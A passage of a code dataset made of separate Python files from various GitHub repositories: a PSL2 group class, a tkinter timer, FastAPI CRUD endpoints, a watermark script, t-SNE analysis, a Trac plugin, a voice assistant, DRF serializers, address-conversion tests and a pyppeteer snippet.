PGL2Element):\n return x.det().legendre() == 1\n\n @measure\n @class_property_memorize\n def get_all_elements(self) -> List[PGL2Element]:\n elements = [self.create2(self._field.one(), a, b, c) for\n (a, b, c) in product(self._field.get_all_elements(), repeat=3) if c != a * b]\n elements.extend([self.create2(self._field.zero(), self._field.one(), a, b) for\n (a, b) in product(self._field.get_all_elements(), repeat=2) if a != self._field.zero()])\n elements = [x for x in elements if self.is_determinant_square(x)]\n return elements\n\n def random_element(self) -> PGL2Element:\n field_elements = self._field.get_all_elements()\n finished = False\n while not finished:\n a, b, c, d = (random.choice(field_elements) for _ in range(4))\n finished = (a*d - b*c).legendre() == 1\n return self.create2(a, b, c, d)\n\n def get_conjugation_classes(self) -> Dict[PGL2Element, int]:\n classes = dict()\n zero = self._field.zero()\n one = self._field.one()\n delta = SquareExtensionField.get_non_square_element(self._field)\n\n classes[self.create2(one, zero, zero, one)] = 1\n classes[self.create2(one, one, zero, one)] = (self._q * self._q - 1) // 2\n classes[self.create2(one, delta, zero, one)] = (self._q * self._q - 1) // 2\n\n used_x = [one, zero, -one]\n for x in self._field.get_all_elements():\n if x in used_x or x.inverse() in used_x or -x in used_x or -x.inverse() in used_x:\n continue\n if x.inverse() != -x:\n classes[self.create2(x, zero, zero, x.inverse())] = self._q * (self._q + 1)\n else:\n classes[self.create2(x, zero, zero, x.inverse())] = self._q * (self._q + 1) // 2\n used_x.append(x)\n\n used_y = [zero]\n for y in self._field.get_all_elements():\n if y in used_y or -y in used_y:\n continue\n x_square = delta * y * y + one\n if x_square.legendre() != 1:\n continue\n x = x_square.sqrt()\n classes[self.create2(x, delta * y, y, x)] = (self._q * (self._q - 1))\n used_y.append(y)\n\n if self._q % 4 == 3:\n classes[self.create2(zero, delta, one, zero)] = (self._q * (self._q - 1)) // 2\n\n return classes\n\n def __str__(self):\n return \"PSL2(%d)\" % self._q\n\n","repo_name":"zivg2/ThesisSimulations","sub_path":"projective_sets/psl2.py","file_name":"psl2.py","file_ext":"py","file_size_in_byte":2852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14376522678","text":"import tkinter as tk\r\n\r\ndef toggle_on_off():\r\n toggle.set(not toggle.get()) #\r\n \r\n if toggle.get():\r\n watch()\r\n\r\ndef watch():\r\n count_seconds.set(count_seconds.get() + 1)\r\n if toggle.get():\r\n _callback_id.set(root.after(1000, watch))\r\n else:\r\n root.after_cancel(_callback_id.get())\r\n \r\nroot = tk.Tk()\r\nroot.configure(background='black')\r\nroot.geometry('650x620+250+50')\r\n\r\ncount_seconds = tk.IntVar(root)\r\ncount_seconds.set(0)\r\ntoggle = tk.BooleanVar(root)\r\ntoggle.set(False)\r\n\r\ntk.Button(root,text=\"Start\",command=toggle_on_off, height = 1, width = 10, bg = \"black\", fg = \"dark red\", font = ('bold', 40)).pack(padx = 10, pady = 10)\r\ntk.Button(root,text=\"Exit\",command=root.destroy, height = 1, width = 10, bg = \"black\", fg = \"dark red\" ,font = ('bold', 40)).pack(padx = 15, pady = 15)\r\ntk.Button(root,text=\"Travel Ahead in Time\",command=root.destroy, height = 1, width = 20, bg = \"black\", fg = \"dark red\" ,font = ('bold', 40)).pack(padx = 15, pady = 15)\r\ntk.Button(root,text=\"Travel Back in Time\",command=root.destroy, height = 1, width = 20, bg = \"black\", fg = \"dark red\" ,font = ('bold', 40)).pack(padx = 15, pady = 15)\r\nlabel = tk.Label(root, font = ('bold', 43), bg = \"black\", fg = \"orange\", textvariable=count_seconds).pack(padx = 1, pady = 1)\r\n\r\n_callback_id = tk.StringVar(root)\r\n_callback_id.set(None)\r\n\r\nroot.mainloop()\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"SHE-43/Tkinter-Programs-first-","sub_path":"tkinter_4_a timer.py","file_name":"tkinter_4_a timer.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18799065596","text":"from msilib import schema\nfrom fastapi import Depends, HTTPException, status, APIRouter\nfrom sqlalchemy.exc import IntegrityError\nfrom sqlalchemy.orm import Session\nfrom typing import List\n\nimport database.models as models, schemas as schemas\nfrom main import get_db\nfrom schemas.films import FilmRequest, FilmUpdateRequest, FilmResponse\n\n\nrouter = APIRouter(\n prefix=\"/film\",\n tags=[\"Film\"],\n responses={404: {\"description\": \"Not found\"}},\n)\n\n@router.get(\"/\", response_model=List[FilmResponse])\ndef show_all_films(db: Session = Depends(get_db)):\n films_db = db.query(models.Film).all()\n response = list()\n\n for film_db in films_db:\n response.append(\n FilmResponse(\n id=film_db.id, \n title=film_db.title, \n release_date=film_db.release_date,\n planets=[association.planet_id for association in film_db.planets],\n )\n )\n \n return response\n\n@router.get(\"/{id}\", response_model=FilmResponse)\ndef show_film(id: int, db: Session = Depends(get_db)):\n film_db = db.query(models.Film).get(id)\n\n if not film_db:\n raise HTTPException(status_code=404, detail=f'Film with id {id} not found')\n\n response = FilmResponse(\n id=film_db.id, \n title=film_db.title, \n release_date=film_db.release_date,\n planets=[association.planet_id for association in film_db.planets],\n )\n\n return response\n\n@router.post(\"/create/\", response_model=FilmResponse, status_code=status.HTTP_201_CREATED)\ndef create_film(film: FilmRequest, db: Session = Depends(get_db)):\n \n film_db = models.Film(\n title=film.title,\n release_date=film.release_date\n )\n\n planets_db = list()\n for planet_id in film.planets:\n planet_db = db.query(models.Planet).get(planet_id)\n if not planet_db:\n raise HTTPException(status_code=404, detail=f'Planet with id {planet_id} not found') \n planets_db.append(planet_db)\n\n for planet_db in planets_db:\n association = models.Association()\n association.planet = planet_db\n film_db.planets.append(association)\n db.add(association)\n\n db.add(film_db)\n\n try:\n db.commit()\n except IntegrityError:\n raise HTTPException(status_code=400, detail=f'A film with title \"{film.title}\" already exists in the database') \n except Exception as e:\n raise e\n\n db.refresh(film_db)\n\n response = FilmResponse(\n id=film_db.id,\n title=film_db.title,\n release_date=film_db.release_date,\n planets=[association.planet_id for association in film_db.planets],\n )\n \n return response\n\n@router.put(\"/{id}/update\", response_model=FilmResponse)\ndef update_film(id: int, film: FilmUpdateRequest, db: Session = Depends(get_db)):\n \n film_db = db.query(models.Film).get(id)\n\n if not film_db:\n raise HTTPException(status_code=404, detail=f'Film with id {id} not found')\n \n film_db.title = film.title if film.title else film_db.title\n film_db.release_date = film.release_date if film.release_date is not None else film_db.release_date\n\n if film.planets is not None:\n # Verifica se planetas existem no banco\n planets_db = list()\n for planet_id in film.planets:\n planet_db = db.query(models.Planet).get(planet_id)\n if not planet_db:\n raise HTTPException(status_code=404, detail=f'Planet with id {planet_id} not found')\n planets_db.append(planet_db)\n\n # Encontra associações planeta-filme que devem ser adicionados e removidos\n planets_db_to_add = [planet_db for planet_db in planets_db if planet_db not in film_db.planets]\n associations_to_remove = [planet_db for planet_db in film_db.planets if planet_db not in planets_db]\n\n # Adiciona associações\n for planet_db in planets_db_to_add:\n association = models.Association()\n association.planet = planet_db\n film_db.planets.append(association)\n db.add(association)\n\n # Remove associações\n for association in associations_to_remove:\n association = db.query(models.Association).get({'planet_id': association.planet_id, 'film_id': film_db.id})\n db.delete(association)\n\n try:\n db.commit()\n except IntegrityError:\n raise HTTPException(status_code=400, detail=f'A film with title \"{film.title}\" already exists in the database') \n except Exception as e:\n raise e\n \n db.refresh(film_db)\n\n response = FilmResponse(\n id=film_db.id,\n title=film_db.title,\n release_date=film_db.release_date,\n planets=[association.planet_id for association in film_db.planets],\n )\n return response\n\n@router.delete(\"/{id}/delete\", status_code=status.HTTP_204_NO_CONTENT)\ndef delete_film(id: int, db: Session = Depends(get_db)):\n \n film_db = db.query(models.Film).get(id)\n\n if not film_db:\n raise HTTPException(status_code=404, detail=f'Film with id {id} not found')\n\n for association in film_db.planets:\n db.delete(association)\n\n db.delete(film_db)\n db.commit()\n \n return\n","repo_name":"rafaelcnagy/api-starwars","sub_path":"endpoints/films.py","file_name":"films.py","file_ext":"py","file_size_in_byte":5194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37378255472","text":"import os\nos.chdir('/content/drive/MyDrive/Colab Notebooks') # Colab ���路径使用,本机或 Jupyter 环境可以删除\n\nimport glob\nfrom PIL import Image\nimgs = glob.glob('./demo/*.jpg') # 读取 demo 资料夹里所有的图片\nicon = Image.open('./oxxostudio-icon.png')\nfor i in imgs:\n name = i.split('/')[::-1][0] # 取得图片名称\n img = Image.open(i) # 开启图片\n img.paste(icon, (0,0), icon) # 加入浮水印\n img.save(f'./demo/watermark/{name}') # 以原本的名称存档\n\n\n","repo_name":"oxxostudio/book-code","sub_path":"python/ch13/code019.py","file_name":"code019.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"zh","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"49065576482","text":"\"\"\"\n* @auther tozawa\n* @date 2018-8-8\n* Analyze patches using t-sne. If I can observe some class, it will provide motivation\n* that I seek good latent spaces.\n* References\n* https://qiita.com/fist0/items/d0779ff861356dafaf95\n\"\"\"\nimport os, sys, time\nimport argparse\nimport numpy as np\nimport sklearn.base\nimport bhtsne\nimport matplotlib.pyplot as plt\nimport shutil\nsys.path.append(os.path.normpath(os.path.join(os.path.dirname(os.path.abspath( __file__ )), '..')))\nimport util.ioFunction_version_4_3 as IO\n\ndef _load_datasets(root, path, patch_side):\n \"\"\"\n @param root: Path to input image directory\n @param path: Path to list file text\n @param patch_side: Patch side per 1 side\n \"\"\"\n print(' Initilaze datasets ')\n patch_size = int(patch_side**3)\n\n # Read path to patches\n path_pairs = []\n with open(path) as paths_file:\n for line in paths_file:\n line = line.split()\n if not line : continue\n path_pairs.append(line[:])\n\n datasets = np.empty((0, patch_size), dtype=float)\n for i in path_pairs:\n print(' Data from: {}'.format(i[0]))\n Mat = IO.read_raw_to_numpy_ColMajor(root+i[0], 'float', patch_size) # (patchsize, number_of_data)\n Mat = Mat.transpose() # (number_of_data, patchsize)\n datasets = np.append(datasets, Mat, axis=0)\n\n print(' Initilazation done ')\n\n return datasets\n\nclass BHTSNE(sklearn.base.BaseEstimator, sklearn.base.TransformerMixin):\n \"\"\"\n * http://iwiwi.hatenadiary.jp/entry/2016/09/24/230640\n \"\"\"\n\n def __init__(self, dimensions=2, perplexity=30.0, theta=0.5, rand_seed=-1):\n self.dimensions = dimensions\n self.perplexity = perplexity\n self.theta = theta\n self.rand_seed = rand_seed\n\n def fit_transform(self, x):\n return bhtsne.tsne(\n x.astype(np.float64), dimensions=self.dimensions, perplexity=self.perplexity, theta=self.theta,\n rand_seed=self.rand_seed)\n\ndef copy_to_result_dir(fn, result_dir):\n bfn = os.path.basename(fn)\n shutil.copy(fn, '{}/{}'.format(result_dir, bfn))\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--root', '-R', default='',\n help='Root directory path of input')\n parser.add_argument('--patch_list', '-p', default='../work/analyze_latent_spaces_of_patches/patch_list.txt',\n help='Path to patch list file')\n parser.add_argument('--output_dir', '-o', default='../work/analyze_latent_spaces_of_patches/2018-8-10',\n help='Output directory')\n\n parser.add_argument('--random_state', '-rs', type=int, default=20180808,\n help='Random state')\n parser.add_argument('--patch_side', '-ps', type=int, default=32,\n help='Patch side')\n parser.add_argument('--number_of_trials', '-nt', type=int, default=10,\n help='Number of trials')\n args = parser.parse_args()\n\n \"\"\"\n * Read data\n \"\"\"\n base = os.path.dirname(os.path.abspath(__file__))\n list_path = os.path.normpath(os.path.join(base, args.patch_list))\n X = _load_datasets(args.root, list_path, args.patch_side)\n\n \"\"\"\n * Aplly t-sne to dataset\n \"\"\"\n result_dir = os.path.normpath(os.path.join(base, args.output_dir))\n if not os.path.exists(result_dir):\n os.makedirs(result_dir)\n copy_to_result_dir(list_path, result_dir)\n np.random.seed(args.random_state)\n for i in range(args.number_of_trials):\n # Extract 3000 datas for time reductions\n idx = np.random.choice(X.shape[0], 50000, replace=False)\n x = X[idx, :]\n # Apply t-sne\n start = time.time()\n patches_proj = BHTSNE(rand_seed=args.random_state).fit_transform(x)\n end = time.time()\n print(' Number of trials: {}, Time: {:.3f} [s] '.format(i, end-start))\n # Plot result\n plt.figure(figsize=(8,8))\n ax = plt.subplot(aspect='equal')\n sc = ax.scatter(x[:,0], x[:,1], lw=0, s=40, c='navy')\n plt.xlim(-25, 25)\n plt.ylim(-25, 25)\n ax.axis('off')\n ax.axis('tight')\n tsne_generated_fig = '{}/tsne-generated-{}.png'.format(result_dir, i)\n plt.savefig(tsne_generated_fig, dpi=120)\n\n # Save datas\n input_data_filename = '{}/input-data-index-{}.csv'.format(result_dir, i)\n np.savetxt(input_data_filename, idx, delimiter=',')\n tsne_generated_data_filename = '{}/tsne-generated-data-{}.csv'.format(result_dir, i)\n np.savetxt(tsne_generated_data_filename, patches_proj, delimiter=',')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"RyosukeKawai/3DSRcycleGAN","sub_path":"source/analyze_latent_spaces_of_patches.py","file_name":"analyze_latent_spaces_of_patches.py","file_ext":"py","file_size_in_byte":4632,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"71484506331","text":"import os\nimport argparse\nimport numpy as np\nfrom itertools import chain\nfrom matplotlib import pyplot as plt\n\n# =============================================================================\n# Input arguments\n# =============================================================================\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--project_dir',default='../project_directory', type=str)\nparser.add_argument('--test_dataset',default='Zhang_Wamsley',type=str)\nparser.add_argument('--percentile',default=0.95, type=float)\nparser.add_argument('--st',default='s', type=str)\nargs = parser.parse_args()\n\nprint(f'>>> Plot the mean distribution of r scores of {args.test_dataset} <<<')\nprint('\\nInput arguments:')\nfor key, val in vars(args).items():\n\tprint('{:16} {}'.format(key, val))\n\t\n\n# =============================================================================\n# Load the data\n# =============================================================================\n\n# Load the directory\nscores_dir = os.path.join(args.project_dir, 'results', 'Zhang_Wamsley', \n\t\t\t\t\t\t'correlation_scores_'+args.st)\nscores_list = os.listdir(scores_dir)\nmean_all = []\nall = []\nfor dream_name in scores_list:\n score = np.load(os.path.join(scores_dir, dream_name), \n allow_pickle=True).item()\n \n # Get the true indice and the mean correlation scores\n true_idx = score['corresponding_img_idx']\n mean_scores = score['mean_correlations']\n true_scores = mean_scores[true_idx]\n del score\n\n # Get the mean score\n avg_true = np.mean(true_scores)\n mean_all.append(avg_true)\n all.append(true_scores)\nall = list(chain(*all))\n\n\n# =============================================================================\n# Plot the mean histograms\n# =============================================================================\n\n# Calculate the percentile\nmpval_95 = np.percentile(mean_all, 95)\nmpval_5 = np.percentile(mean_all, 5)\nprint(f'The statistical mean correlation score: {np.mean(mean_all)} with C. I. {mpval_5}/{mpval_95}')\n# Plot the mean\nplt.figure()\nplt.hist(mean_all, bins=20, color='lightskyblue', label='Mean true r scores')\nplt.plot([mpval_5, mpval_5], [0, 30], color='salmon', label = '5% percentile')\nplt.plot([mpval_95, mpval_95], [0, 30], color='palegreen', label = '95% percentile')\nplt.xlabel('r scores')\nplt.ylabel('frequency')\nplt.legend(loc='best')\n\n# Save the figures\nsave_dir = os.path.join(args.project_dir, 'results', args.test_dataset, \n 'correlation_plots_'+args.st)\nif os.path.isdir(save_dir) == False:\n os.makedirs(save_dir)\nfig_name = 'mean_true_r_scores'\nplt.savefig(os.path.join(save_dir, fig_name))\nplt.close()\n\n# Calculate the percentage above zero\nmean_per = len([i for i in mean_all if i > 0])/len(mean_all)\nprint('The percentage of mean true r scores above 0: ', mean_per)\n\n# =============================================================================\n# Plot the mean histograms\n# =============================================================================\n\n# Calculate the percentile\npval_95 = np.percentile(all, 95)\npval_5 = np.percentile(all, 5)\nprint(f'The statistical correlation score: {np.mean(all)} with C. I. {pval_5}/{pval_95}')\n# Plot the mean\nplt.figure()\nplt.hist(all, bins=20, color='lightskyblue', label='true r scores')\nplt.plot([pval_5, pval_5], [0, 200], color='salmon', label = '5% percentile')\nplt.plot([pval_95, pval_95], [0, 200], color='palegreen', label = '95% percentile')\nplt.xlabel('r scores')\nplt.ylabel('frequency')\nplt.legend(loc='best')\n\n# Save the figures\nsave_dir = os.path.join(args.project_dir, 'results', args.test_dataset, \n 'correlation_plots_'+args.st)\nif os.path.isdir(save_dir) == False:\n os.makedirs(save_dir)\nfig_name = 'true_r_scores'\nplt.savefig(os.path.join(save_dir, fig_name))\nplt.close()\n\n# Calculate the percentage above zero\nper = len([i for i in all if i > 0])/len(all)\nprint('The percentage of true r scores above 0: ', per)","repo_name":"yqiaorong/Dream_Viewer","sub_path":"project_directory/github_code/05_plots/corr_meanall.py","file_name":"corr_meanall.py","file_ext":"py","file_size_in_byte":3996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"5041410297","text":"# -*- coding: utf-8 -*-\nfrom datetime import datetime\n\nfrom trac.core import Component, implements\nfrom trac.env import IEnvironmentSetupParticipant\nfrom trac.perm import PermissionCache\nfrom trac.ticket import Ticket\nfrom trac.util.datefmt import utc\nfrom trac.util.text import exception_to_unicode\nfrom trac.util.translation import domain_functions\nfrom trac.versioncontrol.api import IRepositoryChangeListener\nfrom tracopt.ticket.commit_updater import CommitTicketUpdater\n\n\nadd_domain, _, N_, gettext, ngettext, tag_ = domain_functions(\n 'changefilebiff', ('add_domain', '_', 'N_', 'gettext', 'ngettext', 'tag_'))\n\n\nfrom model import ChangefileBiffConfig\nfrom model import FileBiffTicketCustomField\n\n\n__all__ = ['ChangefileBiffModule', 'ChangefileBiffRepositoryChangeListener']\n\n\nclass ChangefileBiffModule(Component):\n\n implements(IEnvironmentSetupParticipant)\n\n def __init__(self):\n from pkg_resources import resource_exists, resource_filename\n if resource_exists(__name__, 'locale'):\n add_domain(self.env.path, resource_filename(__name__, 'locale'))\n\n def environment_created(self):\n pass\n\n def environment_needs_upgrade(self, db):\n return False\n\n def upgrade_environment(self, db):\n pass\n\n\nclass ChangefileBiffRepositoryChangeListener(Component):\n\n implements(IRepositoryChangeListener)\n\n def changeset_added(self, repos, changeset):\n biff_names, biff_cc = self._get_biff_names_and_cc(changeset)\n if biff_names:\n self._update_ticket(changeset, biff_names, biff_cc)\n\n def changeset_modified(self, repos, changeset, old_changeset):\n pass\n\n def _get_biff_names_and_cc(self, changeset):\n biff_names, biff_cc = set(), set()\n biff_config = ChangefileBiffConfig(self.env, self.config)\n biff_matcher = biff_config.get_filename_matcher()\n\n for biff in biff_config.biff.values():\n biff_filenames = [_f.strip() for _f in biff['filename'].split(',')]\n match_files = biff_matcher.match_files(\n biff_filenames,\n # chg is (path, kind, change, base_path, base_rev)\n [chg[0] for chg in changeset.get_changes()])\n\n if any(match_files):\n biff_names.add(biff['name'])\n biff_cc.add(biff['cc'])\n return biff_names, biff_cc\n\n def _update_ticket(self, changeset, biff_names, biff_cc):\n ticket_updator = self.env.compmgr.components.get(CommitTicketUpdater)\n if not ticket_updator:\n self.env.log.error('CommitTicketUpdater is not available, '\n 'enable it to parse changeset message')\n return\n\n date = datetime.now(utc)\n tickets = ticket_updator._parse_message(changeset.message)\n perm = PermissionCache(self.env, changeset.author)\n for tkt_id, cmds in tickets.iteritems():\n try:\n has_permission = False\n with self.env.db_transaction:\n ticket = Ticket(self.env, tkt_id)\n ticket_perm = perm(ticket.resource)\n for cmd in cmds:\n if cmd(ticket, changeset, ticket_perm) is not False:\n has_permission = True\n if has_permission:\n cc_list = ', ' + ', '.join(biff_cc)\n ticket['cc'] += cc_list\n fb_field = FileBiffTicketCustomField(ticket)\n fb_field.add(biff_names)\n if fb_field.is_updated:\n ticket.save_changes(changeset.author, '', date)\n except Exception as e:\n self.env.log.error('Unexpected error while processing ticket '\n '#%s: %s', tkt_id, exception_to_unicode(e))\n","repo_name":"t2y/trac.plugins.changefilebiff","sub_path":"changefilebiff/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29809749485","text":"import speech_recognition as sr\nfrom datetime import datetime\nimport webbrowser\nimport time\nfrom gtts import gTTS\nfrom playsound import playsound\nimport os\nimport random\n\n\n\nr = sr.Recognizer()\n\ndef kayit(ask=False):\n with sr.Microphone() as source:\n if ask:\n konusma(ask)\n\n audio = r.listen(source)\n voice = ''\n try:\n voice = r.recognize_google(audio, language='tr-TR')\n except sr.UnknownValueError:\n konusma('Anlaşılmadı, Tekrarlar mısın?')\n except sr.RequestError:\n konusma(\"Sistem Çalışmıyor\")\n return voice\n\n\ndef cevap(voice):\n if 'nasılsın' in voice:\n konusma(\"İyiyim Sen Nasılsın ?\")\n if 'saat kaç' in voice:\n konusma(datetime.now().strftime('%H:%M:%S'))\n if 'arama yap' in voice:\n search = kayit('Aramak istediğin şey nedir?')\n url = 'https://google.com.tr/search?q='+search\n webbrowser.get().open(url)\n konusma(search + 'için bulduğum şeyler')\n if 'programı bitir' in voice:\n konusma('Tamamdır, Görüşürüz.')\n exit()\n\n\ndef konusma(string):\n TTS = gTTS(string, lang='tr')\n rand = random.randint(1,10000)\n file = 'audio-'+str(rand)+'.mp3'\n TTS.save(file)\n playsound(file)\n os.remove(file)\n\n\n\nkonusma('Merhaba, Nasıl Yardımcı Olabilirim ?')\ntime.sleep(1)\nwhile 1:\n voice = kayit()\n print(voice)\n cevap(voice)","repo_name":"tumervrl/Assistant","sub_path":"Sesli Asistan/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11280897673","text":"from rest_framework import routers, serializers, viewsets\nfrom .models import *\n\n\nclass Base64ImageField(serializers.ImageField):\n \"\"\"\n A Django REST framework field for handling image-uploads through raw post data.\n It uses base64 for encoding and decoding the contents of the file.\n\n Heavily based on\n https://github.com/tomchristie/django-rest-framework/pull/1268\n\n Updated for Django REST framework 3.\n \"\"\"\n\n def to_internal_value(self, data):\n from django.core.files.base import ContentFile\n import base64\n import six\n import uuid\n\n # Check if this is a base64 string\n if isinstance(data, six.string_types):\n # Check if the base64 string is in the \"data:\" format\n if 'data:' in data and ';base64,' in data:\n # Break out the header from the base64 content\n header, data = data.split(';base64,')\n\n # Try to decode the file. Return validation error if it fails.\n try:\n decoded_file = base64.b64decode(data)\n except TypeError:\n self.fail('invalid_image')\n\n # Generate file name:\n file_name = str(uuid.uuid4())[:12] # 12 characters are more than enough.\n # Get the file name extension:\n file_extension = self.get_file_extension(file_name, decoded_file)\n\n complete_file_name = \"%s.%s\" % (file_name, file_extension, )\n\n data = ContentFile(decoded_file, name=complete_file_name)\n\n return super(Base64ImageField, self).to_internal_value(data)\n\n def get_file_extension(self, file_name, decoded_file):\n import imghdr\n\n extension = imghdr.what(file_name, decoded_file)\n extension = \"jpg\" if extension == \"jpeg\" else extension\n\n return extension\n\n# Serializers define the API representation.\nclass FoodSerializer(serializers.ModelSerializer):\n class Meta:\n model = Food\n fields = '__all__'\n\n\nclass CategorySerializer(serializers.ModelSerializer):\n class Meta:\n model = Category\n fields = '__all__'\n\n\nclass AddressSerializer(serializers.ModelSerializer):\n class Meta:\n model = Address\n fields = '__all__'\n\n\nclass CommentSerializer(serializers.ModelSerializer):\n class Meta:\n model = Comment\n fields = '__all__'\n\n\nclass AreaSerializer(serializers.Serializer):\n area = serializers.CharField(max_length=50)\n\n\nclass RestaurantSerializer(serializers.ModelSerializer):\n # logo = Base64ImageField(\n # max_length=None, use_url=True,\n # )\n address = AddressSerializer()\n categories = CategorySerializer(many=True)\n foods = FoodSerializer(many=True)\n comments = CommentSerializer(many=True)\n average_rate = serializers.ReadOnlyField()\n\n class Meta:\n model = Restaurant\n # fields = '__all__'\n exclude = ['logo']\n \n def create(self, validated_data):\n foods_data = validated_data.pop('foods')\n categories_data = validated_data.pop('categories')\n comments_data = validated_data.pop('comments')\n address_data = validated_data.pop('address')\n print(foods_data)\n r = Restaurant.objects.create(**validated_data)\n address_serializer = AddressSerializer(data=address_data)\n if address_serializer.is_valid():\n a = Address.objects.create(**address_data)\n r.address = a\n for food in foods_data:\n food_serializer = FoodSerializer(data=food)\n if food_serializer.is_valid():\n f = Food.objects.create(**food)\n r.foods.add(f)\n for category in categories_data:\n category_serializer = CategorySerializer(data=category)\n if category_serializer.is_valid():\n c = Category.objects.create(**category)\n r.categories.add(c)\n return r\n\n","repo_name":"alirezahi/reyhoon-server","sub_path":"restaurants/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27192328460","text":"import unittest\nfrom unittest.mock import patch\nfrom uuid import uuid4\n\nimport pytest\nfrom os2sync_export.os2mo import addresses_to_orgunit\nfrom os2sync_export.os2mo import addresses_to_user\n\n\nclass _AddressMixin:\n def mock_address_list(self, scope, user_key, value, uuid=str(uuid4())):\n # Mock the result of\n # `os2mo_get(\"{BASE}/ou/\" + uuid + \"/details/address\").json()`\n # Only contains the keys relevant for `addresses_to_orgunit`\n return [\n {\n \"address_type\": {\n \"uuid\": uuid,\n \"scope\": scope,\n \"user_key\": user_key,\n },\n \"name\": value,\n \"uuid\": uuid4(),\n }\n ]\n\n\nclass TestContactOpenHours(unittest.TestCase, _AddressMixin):\n def test_contact_open_hours(self):\n result = {}\n mo_data = self.mock_address_list(\n \"TEXT\", \"ContactOpenHours\", \"Man-fre: 11-13.30\"\n )\n addresses_to_orgunit(result, mo_data) # Mutates `result`\n self.assertDictEqual(result, {\"ContactOpenHours\": \"Man-fre: 11-13.30\"})\n\n\nclass TestDtrId(unittest.TestCase, _AddressMixin):\n def test_dtr_id(self):\n result = {}\n mo_data = self.mock_address_list(\"TEXT\", \"DtrId\", \"G123456\")\n addresses_to_orgunit(result, mo_data) # Mutates `result`\n self.assertDictEqual(result, {\"DtrId\": \"G123456\"})\n\n\nclass TestAddressesToUser(unittest.TestCase):\n def test_scope_uuid_conversion(self):\n \"\"\"When calling `choose_public_address`, `addresses_to_user` must convert its\n `phone_scope_classes` and `email_scope_classes` arguments from lists of UUIDs\n to lists of strings. Otherwise, the first address with the expected scope is\n returned, regardless of its address type UUID.\n\n See: #50169\n \"\"\"\n user = {}\n addresses = []\n phone_scope_classes = [uuid4()]\n landline_scope_classes = [uuid4()]\n email_scope_classes = [uuid4()]\n with patch(\"os2sync_export.os2mo.choose_public_address\") as mock_choose:\n # Mutates `result`\n addresses_to_user(\n user,\n addresses,\n phone_scope_classes,\n landline_scope_classes,\n email_scope_classes,\n )\n # Assert lists of UUIDs are converted to lists of strings before calling\n # `choose_public_address`\n pairs = zip(\n mock_choose.call_args_list,\n [landline_scope_classes, phone_scope_classes, email_scope_classes],\n )\n for call, class_uuid_list in pairs:\n self.assertEqual(call.args, ([], list(map(str, class_uuid_list))))\n\n\ndef get_dummy_addresses():\n address_generator = _AddressMixin()\n phone = address_generator.mock_address_list(\n \"PHONE\", \"phone\", \"phonenumber\", uuid=\"phone_uuid\"\n )[0]\n landline = address_generator.mock_address_list(\n \"PHONE\", \"landline\", \"landlinenumber\", uuid=\"landline_uuid\"\n )[0]\n email = address_generator.mock_address_list(\n \"EMAIL\", \"email\", \"someone@email.com\", uuid=\"email_uuid\"\n )[0]\n return [phone, landline, email]\n\n\ndef test_get_user_addresses_default():\n \"\"\"With no default, pick email and phone from scope\n With no priority set we can't know which phonenumber will be used\n \"\"\"\n user = {}\n addresses = get_dummy_addresses()\n addresses_to_user(user, addresses)\n assert user[\"Email\"] == \"someone@email.com\"\n assert user[\"PhoneNumber\"] in (\"phonenumber\", \"landlinenumber\")\n\n\n@pytest.mark.parametrize(\n \"settings_dict,expected\",\n [\n (\n # Prioritize phonenumber\n {\n \"phone_scope_classes\": [\"phone_uuid\", \"landline_uuid\"],\n },\n {\n \"Email\": \"someone@email.com\",\n \"PhoneNumber\": \"phonenumber\",\n },\n ),\n (\n # Prioritize landline\n {\n \"phone_scope_classes\": [\"landline_uuid\", \"phone_uuid\"],\n },\n {\n \"Email\": \"someone@email.com\",\n \"PhoneNumber\": \"landlinenumber\",\n },\n ),\n (\n # Use landline field when configured\n {\n \"phone_scope_classes\": [\"phone_uuid\"],\n \"landline_scope_classes\": [\"landline_uuid\"],\n \"email_scope_classes\": [\"email_uuid\"],\n },\n {\n \"Email\": \"someone@email.com\",\n \"PhoneNumber\": \"phonenumber\",\n \"Landline\": \"landlinenumber\",\n },\n ),\n ],\n)\ndef test_get_user_addresses(settings_dict, expected):\n user = {}\n addresses = get_dummy_addresses()\n addresses_to_user(user, addresses, **settings_dict)\n assert user == expected\n","repo_name":"OS2mo/os2mo-data-import-and-export","sub_path":"exporters/os2sync_export/tests/test_address_type_conversions.py","file_name":"test_address_type_conversions.py","file_ext":"py","file_size_in_byte":4874,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"1482107206","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n'''\n@File : 7_PageClass_Cookie.py\n@Time : 2020-8-23 01:33:25\n@Author : Recluse Xu\n@Version : 1.0\n@Contact : 444640050@qq.com\n@Desc : 页面类 Page Class\n 官方文档:https://miyakogi.github.io/pyppeteer/reference.html#pyppeteer.page.Page.target\nPage类提供了与标签交互的方法,一个浏览器可以有多个Page对象\n\n'''\n\n# here put the import lib\nimport asyncio\nfrom pyppeteer import launch\n\n\nasync def main():\n browser = await launch({\n 'headless': False,\n 'ignorehttpserrrors': True,\n 'viewport': {'width': 1280, 'height': 800},\n 'autoClose': True,\n })\n\n page = await browser.newPage()\n await page.goto('http://www.baidu.com')\n\n # 